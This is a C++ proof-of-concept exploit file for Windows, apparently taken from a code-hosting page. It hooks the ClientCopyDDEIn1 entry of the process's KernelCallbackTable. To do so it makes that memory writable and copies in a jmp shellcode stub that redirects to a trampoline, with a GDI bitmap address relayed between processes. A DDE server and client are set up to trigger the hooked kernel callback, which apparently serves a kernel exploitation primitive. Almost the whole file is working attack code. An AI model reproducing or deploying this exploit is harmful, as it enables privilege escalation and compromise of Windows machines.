2022-03-01 16:58:42 +08:00

255 lines
10 KiB
C++
Raw Permalink Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// poc_test.cpp: 定义控制台应用程序的入口点。
//
#include "stdafx.h"
extern "C" {
VOID HijackTrampoFunc();
UINT64 g_ClientCopyDDEIn1_ContinueAddr = 0;
UINT64 g_BitMapAddr = 0;
}
ULONG64 g_GdiObjBitMapAddr = 0;
UCHAR HijackJmpShellcode[] = {
0x50, //push rax
0x48, 0xB8, //mov rax, 0xcccccccc
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0xFF, 0xE0 //jmp rax
};
INT HijackClientCopyDDEIn1()
{
PTEB Teb = NtCurrentTeb();
PPEB Peb = Teb->ProcessEnvironmentBlock;
if (Peb == NULL)
{
return -1;
}
PULONG64 KernelCallbackTable = (PULONG64)Peb->KernelCallbackTable;
if (KernelCallbackTable == NULL)
{
return -1;
}
PUCHAR pfnClientCopyDDEIn1 = (PUCHAR)KernelCallbackTable[50];
if (pfnClientCopyDDEIn1 == NULL)
{
return -1;
}
DWORD OldProtect = 0;
if (!VirtualProtect(pfnClientCopyDDEIn1, 1000, PAGE_EXECUTE_READWRITE, &OldProtect))
{
return -1;
}
if (pfnClientCopyDDEIn1[0x38] != 0x41)
{
return -1;
}
PUINT64 pJmpAddr = (PUINT64)(HijackJmpShellcode + 3);
*pJmpAddr = (UINT64)HijackTrampoFunc;
memcpy(pfnClientCopyDDEIn1 + 0x2D, HijackJmpShellcode, sizeof(HijackJmpShellcode));
g_ClientCopyDDEIn1_ContinueAddr = (UINT64)(pfnClientCopyDDEIn1 + 60);
g_BitMapAddr = (UINT64)g_GdiObjBitMapAddr;
printf("[*]g_ClientCopyDDEIn1_ContinueAddr:%p, g_BitMapAddr:%p\n",
(PVOID)g_ClientCopyDDEIn1_ContinueAddr, (PVOID)g_BitMapAddr);
return 0;
}
LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
switch (message)
{
case MSG_DDESERVER_EXIT:
printf("[*]DDEServer exit..\n");
PostQuitMessage(0);
break;
case MSG_DDESERVER_SET_GDI_OBJ_ADDR:
g_GdiObjBitMapAddr = wParam;
g_BitMapAddr = wParam;
printf("[*]DDEServer Set BitmapAddr..%p\n", (PVOID)g_GdiObjBitMapAddr);
break;
}
return DefWindowProc(hwnd, message, wParam, lParam);
}
INT CreateWnd(PWCHAR pszWndName)
{
HWND hwnd = NULL;
WNDCLASSEX wndclassex = { 0 };
wndclassex.cbSize = sizeof(WNDCLASSEX);
wndclassex.style = CS_HREDRAW | CS_VREDRAW;
wndclassex.lpfnWndProc = WndProc;
wndclassex.cbClsExtra = 0;
wndclassex.cbWndExtra = 0;
wndclassex.hInstance = NULL;
wndclassex.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
wndclassex.lpszClassName = pszWndName;
wndclassex.hIconSm = wndclassex.hIcon;
if (!RegisterClassEx(&wndclassex))
{
return 0;
}
hwnd = CreateWindowEx(WS_EX_OVERLAPPEDWINDOW,
pszWndName,
pszWndName,
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
NULL,
NULL,
NULL,
NULL);
ShowWindow(hwnd, 0);
UpdateWindow(hwnd);
return 0;
}
INT WindowMsgHanle()
{
MSG msg = { 0 };
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return (int)msg.wParam;
}
DWORD g_ServerIdInst = 0;
HDDEDATA CALLBACK DdeCallback(UINT wType, UINT wFmt, HCONV hConv,
HSZ hsz1, HSZ hsz2, HDDEDATA hData, ULONG_PTR dwData1, ULONG_PTR dwData2)
{
#define TEST_MSG L"TEST"
switch (wType)
{
case XTYP_CONNECT:
return ((HDDEDATA)TRUE);
case XTYP_REQUEST:
return DdeCreateDataHandle(
g_ServerIdInst,
(PBYTE)(PWCHAR)TEST_MSG,
sizeof(TEST_MSG),
0,
hsz2,
wFmt,
0);
}
return NULL;
}
INT CreateDdeServerice()
{
if (DdeInitialize(&g_ServerIdInst,
(PFNCALLBACK)DdeCallback,
APPCMD_FILTERINITS | CBF_FAIL_EXECUTES | CBF_FAIL_POKES,
0))
{
return -1;
}
HSZ hszApp = DdeCreateStringHandle(g_ServerIdInst, DDE_SERVER_APP_NAME, 0);
if (!DdeNameService(g_ServerIdInst, hszApp, NULL, DNS_REGISTER))
{
return -1;
}
return 0;
}
INT DDEServer()
{
printf("[*]DDEServer..\n");
CreateDdeServerice();
HijackClientCopyDDEIn1();
CreateWnd((PWCHAR)DDE_SERVER_WINDOW_CAPTION);
WindowMsgHanle();
return 0;
}
INT DDEClientSendDDEMsg()
{
DWORD idInst = 0;
if (DdeInitialize(&idInst,
NULL,
APPCMD_FILTERINITS | CBF_FAIL_EXECUTES | CBF_FAIL_POKES,
0))
{
return -1;
}
HSZ hszApp = DdeCreateStringHandle(idInst, DDE_SERVER_APP_NAME, 0);
HSZ hszTopic = DdeCreateStringHandle(idInst, DDE_SERVER_TOPIC_NAME, 0);
HSZ hszItem = DdeCreateStringHandle(idInst, DDE_SERVER_ITEM_NAME, 0);
HCONV hConv = NULL;
do
{
hConv = DdeConnect(idInst, hszApp, hszTopic, NULL);
if (hConv == NULL)
{
break;
}
HDDEDATA hData = NULL;
DWORD dwResult = 0;
WCHAR szBuffer[100] = { 0 };
DWORD dwLength = 0;
hData = DdeClientTransaction(NULL, 0, hConv,
hszItem, CF_TEXT, XTYP_REQUEST, 5000, &dwResult);
if (hData == NULL)
{
break;
}
dwLength = DdeGetData(hData, (LPBYTE)szBuffer, sizeof(szBuffer), 0);
printf("[*][DDEClient] len:%d MSG:%S\n", dwLength, szBuffer);
} while (FALSE);
DdeDisconnect(hConv);
DdeFreeStringHandle(idInst, hszApp);
DdeFreeStringHandle(idInst, hszTopic);
DdeFreeStringHandle(idInst, hszItem);
printf("[*]DDEClientSendDDEMsg over..\n");
return 0;
}
INT DDEClient()
{
printf("[*]DDEClient..\n");
DDEClientSendDDEMsg();
CreateWnd((PWCHAR)DDE_CLIENT_WINDOW_CAPTION);
WindowMsgHanle();
Sleep(5000);
return 0;
}